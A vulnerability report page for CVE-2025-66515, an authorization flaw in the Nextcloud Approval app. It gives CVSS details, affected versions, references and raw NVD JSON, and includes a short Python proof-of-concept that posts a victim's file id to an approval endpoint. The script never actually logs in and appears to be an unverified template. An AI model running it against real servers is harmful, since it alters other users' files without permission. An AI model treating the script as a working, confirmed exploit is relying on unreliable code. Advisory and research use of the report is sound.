Security Vulnerability Report
中文
CVE-2025-66515 CVSS 2.7 LOW

CVE-2025-66515

Published: 2025-12-05 18:15:58
Last Modified: 2025-12-09 17:22:18

Description

The Nextcloud Approval app allows approval or disapproval of files in the sidebar. Prior to 1.3.1 and 2.5.0, an authenticated user listed as a requester in a workflow can set another user’s file into the “pending approval” without access to the file by using the numeric file id. This vulnerability is fixed in 1.3.1 and 2.5.0.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nextcloud:approval:*:*:*:*:*:nextcloud:*:* - VULNERABLE
cpe:2.3:a:nextcloud:approval:*:*:*:*:*:nextcloud:*:* - VULNERABLE
Nextcloud Approval app < 1.3.1
Nextcloud Approval app < 2.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66515 PoC - Nextcloud Approval权限绕过 # Affected versions: < 1.3.1 and < 2.5.0 import requests # Configuration NEXTCLOUD_URL = "https://vulnerable-server.com" TARGET_FILE_ID = 123456789 # Numeric file ID of victim's file USERNAME = "[email protected]" PASSWORD = "attacker_password" # Authenticate session = requests.Session() login_url = f"{NEXTCLOUD_URL}/login" # Note: Actual login flow may vary based on Nextcloud configuration # Set file to pending approval without file access api_url = f"{NEXTCLOUD_URL}/apps/approval/api/v1/approval/set" payload = { "fileId": TARGET_FILE_ID, "status": "pending" } # Send request (requires authenticated session) response = session.post(api_url, json=payload) if response.status_code == 200: print("[+] Successfully set file to pending approval without file access!") print(f"[+] File ID: {TARGET_FILE_ID}") else: print(f"[-] Failed: {response.status_code} - {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66515", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:57.623", "lastModified": "2025-12-09T17:22:18.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Nextcloud Approval app allows approval or disapproval of files in the sidebar. Prior to 1.3.1 and 2.5.0, an authenticated user listed as a requester in a workflow can set another user’s file into the “pending approval” without access to the file by using the numeric file id. This vulnerability is fixed in 1.3.1 and 2.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:approval:*:*:*:*:*:nextcloud:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.3.1", "matchCriteriaId": "37339E72-6EB5-4D2D-82E4-EB81C9FC8E39"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:approval:*:*:*:*:*:nextcloud:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.5.0", "matchCriteriaId": "558060E7-4BE3-4E6F-93FD-4CF3584CDE96"}]}]}], "references": [{"url": "https://github.com/nextcloud/approval/commit/e30b56b7832255311ac800b7875f44866e88fff4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nextcloud/approval/pull/334", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-q26g-fmjq-x5g5", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://hackerone.com/reports/3338748", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}